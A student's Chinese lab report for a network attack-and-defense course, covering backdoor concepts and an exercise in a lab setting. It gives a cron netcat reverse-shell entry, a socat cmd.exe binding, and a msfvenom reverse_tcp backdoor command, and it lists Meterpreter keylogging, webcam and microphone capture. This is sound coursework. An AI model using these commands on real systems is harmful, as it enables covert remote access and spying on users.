20232401 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
- 理解后门概念:不经过正常认证流程而访问系统的通道
- 学习使用各类工具如netcat、socat、cron、MSF meterpreter等软件的使用方法
- 掌握后门原理和构造、利用方法
- 回答问题
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
- 可能在用从不安全的渠道下载软件时,携带着后门的程序被一起捆绑安装至系统中。
- (2)例举你知道的后门如何启动起来(win及linux)的方式?
- 在windows系统中,首次启动可能是用户主动运行了带有后门的程序,被攻击者获取到了shell,后续攻击者可能会操纵被攻击系统设置定时任务或注册表自启动项,通过特定条件触发后门运行;
- 在Linux系统中,可能是系统所提供的某项服务程序存在漏洞,被攻击者注入了shellcode,该程序在下一次运行中便可能触发运行后门。
- (3)Meterpreter有哪些给你印象深刻的功能?
- Meterpreter作为一个后渗透工具,令我印象最深刻的是它对于信息的获取能力以及相关功能,比如由keyscan_start和keyscan_dump组成的扫描周期,在这个周期里可以记录靶机的键盘输入,并且直接dump出输入的键,在特定情况下可以直接读取到用户的密码口令等敏感信息。还要screenshot、webcam_snap等都能直接读取到敏感信息。
- (4)如何发现自己有系统有没有被安装后门?
- 如下图,可以通过任务管理器查看是否存在异常进程,除此之外,也可以通过抓捕工具捕获从本机发出的包看是否有异常数据。
- 如下图,可以通过任务管理器查看是否存在异常进程,除此之外,也可以通过抓捕工具捕获从本机发出的包看是否有异常数据。
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
2.实验过程
2.1 使用netcat获取主机操作Shell,cron启动某项任务
2.1.1 Windows获取Linux Shell
-
首先在Windows终端使用ncat打开监听,如图:
-
然后在Linux中进行反弹连接
-
随后可以在Windows中使用Linux中命令,可以看到成功获取到Linux Shell
2.1.2 Linux获取Windows Shell
-
首先在Linux终端用ncat打开监听
-
然后在Windows终端反弹连接
-
随后可以在Linux中使用Windows命令,可以看到成功获取到Windows Shell
2.1.3 在Linux通过cron定时启动反弹连接任务
-
首先在Linux中通过cron命令进入编辑器,添加条目
24 * * * * /bin/netcat WindowsIP 2401
设置定时启动任务,在每小时的24分自动运行netcat进行反弹连接,期间Windows主机一直保持监听状态
-
可以看到当24分到达后Linux主机成功启动了反弹连接任务,Windows主机获取到了Linux Shell
2.2 使用socat获取主机操作Shell,任务计划启动
-
首先在Windows主机上的taskschd.msc任务计划程序中设置自启动任务,操作如图,设置socat锁屏后启动,其中socat.exe添加的参数为
tcp-listen:2401 exec:cmd.exe,pty,stderr
,作用是把cmd.exe绑定到端口2401,同时把cmd.exe的stderr重定向
-
设置好任务计划后,在Linux主机中打开socat监听,如图:
-
此时在Windows主机中锁屏再打开,可以看到socat反向连接的任务已经启动
-
在Linux主机中成功获取到Shell
2.3 使用MSF meterpreter生成可执行文件(后门),传送到主机并运行获取主机Shell
-
首先使用msfvenom生成Windows Meterpreter,Meterpreter是一种高级后渗透payload,支持文件操作、屏幕截图、键盘记录等,操作命令是
msfvenom -p windows/meterpreter/reverse_tcp LHOST=本机IP LPORT=2401 -f exe > 20232401_backdoor.exe
,各参数意义如下:-p
参数:选取payloadLHOST
:要回连的IPLPORT
:要使用的端口-f
参数:选取文件类型
-
生成完毕后将可执行文件复制到共享文件夹中,通过共享文件夹传至Windows主机
-
Linux主机中打开控制台msfconsole,具体操作过程如下图
-
在Windows主机中点击运行后门文件,可以看到控制台成功拿到Shell
2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
-
依旧是上一步生成的后门文件,在拿到Shell后进行以下尝试
record_mic
:获取主机音频webcam_snap
:获取主机摄像头内容keyscan_start
&keyscan_dump
:获取主机键入内容screenshot
:获取主机屏幕截图
-
操作过程与结果如下图:
-
尝试进行提权,前提是Windows是以管理员身份运行的后门文件,否则会因为权限不足而提权失败
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取到反弹连接Shell
-
首先使用msfvenom的
-x
参数将payload注入到现有可执行文件里,生成新的具有后门的文件
-
随后打开msfconsole控制台,调整好相应参数,开始监听
-
在另一终端中首先通过命令
chmod +x
命令赋予生成的后门文件执行权限,随后开始运行
-
可以看到,后门文件被运行后,这边终端成功拿到shell
3.问题及解决方案
- 问题1:通过ncat传输后门文件至windows后无法运行
- 问题1解决方案:通过对比文件大小,发现后门文件在经过ncat传输后发生了改变,于是使用共享文件夹进行传输,后门文件成功在Windows中运行
- 问题2:在尝试控制主机摄像头进行摄像时失败
- 问题2解决方案:经过问题查找,发现主机本身在硬件层面上关闭了摄像头功能,打开后仍能被攻击端远程控制
- 问题3:提权失败
- 问题3解决方案:经过资料查找发现是windows用户本身权限不够,以管理员身份运行后门文件即可,真实环境中可能利用普通Windows用户以更高权限再次反弹连接给出Shell
4.学习感悟、思考等
通过本次实验,笔者深刻感受到了后门程序的危害性,正常来说每个系统都有一道“门”,来抵御外界非法用户的访问,但后门就像在高墙下挖了一个洞,让攻击者可以悄悄的潜入系统内部。一旦某个系统被种下后门,那么这个系统可能就没有秘密可言了,因此对系统安全的工作人员来说,对系统后门的排查就显得尤为重要,这也是我们需要逐渐去了解掌握的。
参考资料
- msfvenom完整使用指南
- 0x21_MAL_后门原理与实践
- ...